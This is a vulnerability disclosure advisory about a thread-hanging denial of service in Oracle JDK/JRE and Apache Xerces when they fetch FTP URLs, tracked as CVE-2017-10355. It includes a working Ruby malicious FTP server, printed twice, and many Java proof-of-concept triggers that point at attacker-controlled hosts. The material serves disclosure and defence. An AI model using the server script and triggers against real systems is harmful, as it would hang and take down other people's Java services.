444 lines
No EOL
11 KiB
Markdown
444 lines
No EOL
11 KiB
Markdown
## Vulnerabilities Summary
|
||
The following advisory describes two (2) vulnerabilities found in Oracle Java JDK/JRE (1.8.0.131 and previous versions) packages and Apache Xerces (2.11.0)
|
||
|
||
The vulnerabilities are:
|
||
|
||
Oracle JDK/JRE Concurrency-Related Denial of Service
|
||
java.net.URLConnection (with no setConnectTimeout) Concurrency-Related Denial of Service
|
||
|
||
## Credit
|
||
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
|
||
|
||
## Vendor response
|
||
Update 1: Oracle has released patches to address this vulnerability and assigned CVE-2017-10355
|
||
|
||
Oracle acknowledged receiving the report, and has assigned it a tracking number: S0876966. We have no further information on patch availability or a workaround.
|
||
|
||
## Vulnerabilities Details
|
||
These two vulnerabilities can be triggered to cause a Denial of Service against a server, under the following conditions:
|
||
|
||
An attacker can pass an URL parameter that points to a controlled FTP server to the target
|
||
Target server uses vulnerable component(s) to fetch the resource specified by the attacker
|
||
Target server does not prevent fetching of FTP URI resources
|
||
In both vulnerabilities, the attack sequence is the following:
|
||
|
||
Attacker forces vulnerable target server to parse an FTP URL which points to an attacker’s controlled FTP server
|
||
Target server fetches FTP resource provided by attacker
|
||
Attacker’s FTP server abruptly exits, leaving the Java process on target server with two internal threads in an infinite waiting status
|
||
If the Java process is single-threaded, then it cannot further process any other client requests, reaching a Denial of Service condition with only one request from the attacker
|
||
In case of a multi-threading process, then it is possible to use the same technique and reach a Denial of Service condition of all available threads, by issuing one request for each available thread
|
||
The attacker’s controlled FTP server has to “abruptly” exit when the Java client will perform a RETR FTP command. This behavior is not properly handled and causes a thread concurrency Denial of Service.
|
||
|
||
For example:
|
||
|
||
|
||
require 'socket'
|
||
|
||
ftp_server = TCPServer.new 21
|
||
|
||
Thread.start do
|
||
loop do
|
||
Thread.start(ftp_server.accept) do |ftp_client|
|
||
puts "FTP. New client connected"
|
||
ftp_client.puts("220 ftp-server")
|
||
counter = 0
|
||
loop {
|
||
req = ftp_client.gets()
|
||
break if req.nil?
|
||
puts "< "+req
|
||
|
||
if req.include? "USER"
|
||
ftp_client.puts("331 password")
|
||
else
|
||
ftp_client.puts("230 Waiting data")
|
||
counter = counter + 1
|
||
if counter == 6
|
||
abort
|
||
end
|
||
end
|
||
}
|
||
puts "Aborted..."
|
||
end
|
||
end
|
||
end
|
||
|
||
loop do
|
||
|
||
sleep(50000)
|
||
end
|
||
1
|
||
2
|
||
3
|
||
4
|
||
5
|
||
6
|
||
7
|
||
8
|
||
9
|
||
10
|
||
11
|
||
12
|
||
13
|
||
14
|
||
15
|
||
16
|
||
17
|
||
18
|
||
19
|
||
20
|
||
21
|
||
22
|
||
23
|
||
24
|
||
25
|
||
26
|
||
27
|
||
28
|
||
29
|
||
30
|
||
31
|
||
32
|
||
33
|
||
34
|
||
require 'socket'
|
||
|
||
ftp_server = TCPServer.new 21
|
||
|
||
Thread.start do
|
||
loop do
|
||
Thread.start(ftp_server.accept) do |ftp_client|
|
||
puts "FTP. New client connected"
|
||
ftp_client.puts("220 ftp-server")
|
||
counter = 0
|
||
loop {
|
||
req = ftp_client.gets()
|
||
break if req.nil?
|
||
puts "< "+req
|
||
|
||
if req.include? "USER"
|
||
ftp_client.puts("331 password")
|
||
else
|
||
ftp_client.puts("230 Waiting data")
|
||
counter = counter + 1
|
||
if counter == 6
|
||
abort
|
||
end
|
||
end
|
||
}
|
||
puts "Aborted..."
|
||
end
|
||
end
|
||
end
|
||
|
||
loop do
|
||
|
||
sleep(50000)
|
||
end
|
||
|
||
|
||
When triggered, the DoS will result in a CLOSE_WAIT status on the connection between the target server and the FTP server (192.168.234.134), leaving the Java process thread stuck.
|
||
|
||
|
||
|
||
Oracle JDK/JRE Concurrency-Related Denial of Service
|
||
The vulnerable functions are:
|
||
|
||
java.io.InputStream
|
||
java.xml.ws.Service
|
||
javax.xml.validation.Schema
|
||
javax.xml.JAXBContext
|
||
java.net.JarURLConnection – The setConnectionTimeout and setReadTimeout are ignored
|
||
javax.imageio.ImageIO
|
||
Javax.swing.ImageIcon
|
||
javax.swing.text.html.StyleSheet
|
||
|
||
|
||
## java.io.InputStream Proof of Concept
|
||
|
||
```
|
||
import java.io.InputStream;
|
||
import java.net.URL;
|
||
|
||
public class RandomAccess {
|
||
public static void main(String[] args) {
|
||
try {
|
||
//url = new URL ("ftp://maliciousftp:2121/test.xml");
|
||
URL url = new URL("ftp://maliciousftp:2121/test.xml");
|
||
InputStream inputStream = url.openStream();
|
||
inputStream.read();
|
||
//urlc.setReadTimeout(5000);
|
||
//urlc.setConnectTimeout(5000); // <- this fixes the bug
|
||
} catch (Exception e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
## javax.xml.ws.Service Proof of Concept
|
||
|
||
```
|
||
import java.net.MalformedURLException;
|
||
import java.net.URL;
|
||
|
||
import javax.xml.namespace.QName;
|
||
import javax.xml.ws.Service;
|
||
|
||
public class CreateService {
|
||
public static void main(String[] args) {
|
||
String wsdlURL = "ftp://maliciousftp:2121/test?wsdl";
|
||
String namespace = "http://foo.bar.com/webservice";
|
||
String serviceName = "SomeService";
|
||
QName serviceQN = new QName(namespace, serviceName);
|
||
|
||
try {
|
||
Service service = Service.create(new URL(wsdlURL), serviceQN);
|
||
} catch (MalformedURLException e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
|
||
}
|
||
```
|
||
|
||
## javax.xml.validation.Schema Proof of Concept
|
||
|
||
```
|
||
import java.net.MalformedURLException;
|
||
import java.net.URL;
|
||
|
||
import javax.xml.validation.Schema;
|
||
import javax.xml.validation.SchemaFactory;
|
||
|
||
import org.xml.sax.SAXException;
|
||
|
||
public class NSchema {
|
||
public static void main(String[] args) {
|
||
SchemaFactory schemaFactory =
|
||
SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
|
||
URL url;
|
||
try {
|
||
url = new URL("ftp://maliciousftp:2121/schema");
|
||
try {
|
||
Schema schemaGrammar = schemaFactory.newSchema(url);
|
||
} catch (SAXException e) {
|
||
e.printStackTrace();
|
||
}
|
||
} catch (MalformedURLException e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
## javax.xml.JAXBContext Proof of Concept
|
||
|
||
```
|
||
import java.net.MalformedURLException;
|
||
import java.net.URL;
|
||
|
||
import javax.xml.bind.JAXBContext;
|
||
import javax.xml.bind.JAXBException;
|
||
import javax.xml.bind.Unmarshaller;
|
||
|
||
public class UnMarsh {
|
||
public static void main(String[] args) {
|
||
JAXBContext jaxbContext = null;
|
||
try {
|
||
jaxbContext = JAXBContext.newInstance();
|
||
} catch (JAXBException e) {
|
||
e.printStackTrace();
|
||
}
|
||
URL url = null;
|
||
try {
|
||
url = new URL("ftp://maliciousftp:2121/test");
|
||
} catch (MalformedURLException e) {
|
||
e.printStackTrace();
|
||
}
|
||
Unmarshaller jaxbUnmarshaller = null;
|
||
try {
|
||
jaxbUnmarshaller = jaxbContext.createUnmarshaller();
|
||
} catch (JAXBException e) {
|
||
e.printStackTrace();
|
||
}
|
||
try {
|
||
Object test = jaxbUnmarshaller.unmarshal(url);
|
||
} catch (JAXBException e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
## java.net.JarURLConnection Proof of Concept
|
||
|
||
```
|
||
import java.io.IOException;
|
||
import java.net.JarURLConnection;
|
||
import java.net.MalformedURLException;
|
||
import java.net.URL;
|
||
import java.util.jar.Manifest;
|
||
|
||
public class JavaUrl {
|
||
|
||
public static void main(String[] args) {
|
||
URL url = null;
|
||
try {
|
||
url = new URL("jar:ftp://maliciousftp:2121/duke.jar!/");
|
||
} catch (MalformedURLException e) {
|
||
e.printStackTrace();
|
||
}
|
||
JarURLConnection jarConnection = null;
|
||
try {
|
||
jarConnection = (JarURLConnection) url.openConnection();
|
||
jarConnection.setConnectTimeout(5000);
|
||
jarConnection.setReadTimeout(5000);
|
||
|
||
} catch (IOException e1) {
|
||
e1.printStackTrace();
|
||
}
|
||
try {
|
||
Manifest manifest = jarConnection.getManifest();
|
||
} catch (IOException e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
## javax.imageio.ImageIO Proof of Concept
|
||
|
||
```
|
||
import java.awt.Image;
|
||
import java.io.IOException;
|
||
import java.net.URL;
|
||
import javax.imageio.ImageIO;
|
||
import javax.swing.ImageIcon;
|
||
import javax.swing.JFrame;
|
||
import javax.swing.JLabel;
|
||
|
||
public class ImageReader {
|
||
public static void main(String[] args) {
|
||
Image image = null;
|
||
try {
|
||
URL url = new URL("ftp://maliciousftp:2121/test.jpg");
|
||
image = ImageIO.read(url);
|
||
} catch (IOException e) {
|
||
e.printStackTrace();
|
||
}
|
||
|
||
JFrame frame = new JFrame();
|
||
frame.setSize(300, 300);
|
||
JLabel label = new JLabel(new ImageIcon(image));
|
||
frame.add(label);
|
||
frame.setVisible(true);
|
||
}
|
||
}
|
||
```
|
||
|
||
## javax.swing.ImageIcon Proof of Concept
|
||
|
||
```
|
||
import java.net.MalformedURLException;
|
||
import java.net.URL;
|
||
import javax.swing.ImageIcon;
|
||
|
||
public class ImageXcon {
|
||
public static void main(String[] args) {
|
||
URL imgURL;
|
||
try {
|
||
imgURL = new URL("ftp://maliciousftp:2121/test");
|
||
String description = "";
|
||
ImageIcon icon = new ImageIcon(imgURL, description);
|
||
} catch (MalformedURLException e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
## javax.swing.text.html.StyleSheet Proof of Concept
|
||
|
||
```
|
||
import java.net.MalformedURLException;
|
||
import java.net.URL;
|
||
|
||
import javax.swing.text.html.StyleSheet;
|
||
|
||
public class ImportStyla {
|
||
|
||
public static void main(String[] args) {
|
||
StyleSheet cs = new StyleSheet();
|
||
URL url;
|
||
try {
|
||
url = new URL("ftp://maliciousftp:2121/test");
|
||
cs.importStyleSheet(url);
|
||
} catch (MalformedURLException e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
## java.net.URLConnection – Concurrency-Related Denial of Service
|
||
A Thread Concurrency Denial of Service condition exists when java.net.URLConnection is used to fetch a file from an FTP server without specifying a Connection Timeout value.
|
||
|
||
The vulnerable functions are:
|
||
|
||
javax.xml.parsers.SAXParser
|
||
javax.xml.parsers.SAXParserFactory
|
||
org.dom4j.Document
|
||
org.dom4j.io.SAXReader
|
||
javax.xml.parsers.DocumentBuilder
|
||
javax.xml.parsers.DocumentBuilderFactory
|
||
The Root Cause Issue in Apache Xerces is the com.sun.org.apache.xerces.internal.impl.XMLEntityManager.class
|
||
|
||
|
||
|
||
In this case, XMLEntityManager.class does not explicitly set Connection Timeout for the connect object, letting Java to set a default value of -1, leading to a Denial of Service condition, as explained below.
|
||
|
||
Example of code using Apache Xerces library to fetch an XML file from an FTP server:
|
||
|
||
```
|
||
[snip]
|
||
private void parseXmlFile() {
|
||
//get the factory
|
||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||
try {
|
||
//Using factory get an instance of document builder
|
||
DocumentBuilder db = dbf.newDocumentBuilder();
|
||
//parse using builder to get DOM representation of the XML file
|
||
dom = db.parse("ftp://maliciousftpserver/test.xml"); & lt; - FTP URL controlled by the attacker
|
||
} catch (ParserConfigurationException pce) {
|
||
pce.printStackTrace();
|
||
} catch (SAXException se) {
|
||
se.printStackTrace();
|
||
} catch (IOException ioe) {
|
||
ioe.printStackTrace();
|
||
}
|
||
}
|
||
[snip]
|
||
```
|
||
|
||
## SAXParser Proof of Concept
|
||
|
||
```
|
||
SAXParserFactory factory = SAXParserFactory.newInstance();
|
||
SAXParser saxParser = factory.newSAXParser();
|
||
UserHandler userhandler = new UserHandler();
|
||
saxParser.parse("ftp://badftpserver:2121/whatever.xml”)
|
||
```
|
||
|
||
## DOM4J / SAXReader Proof of Concept
|
||
|
||
```
|
||
SAXReader reader = new SAXReader();
|
||
Document document = reader.read( "ftp://badftpserver:2121/whatever.xml" );
|
||
```
|
||
|
||
## JAVAX XML Parsers Proof of Concept
|
||
|
||
```
|
||
DocumentBuilder db = dbf.newDocumentBuilder();
|
||
dom = db.parse("ftp://badftpserver:2121/whatever.xml");
|
||
``` |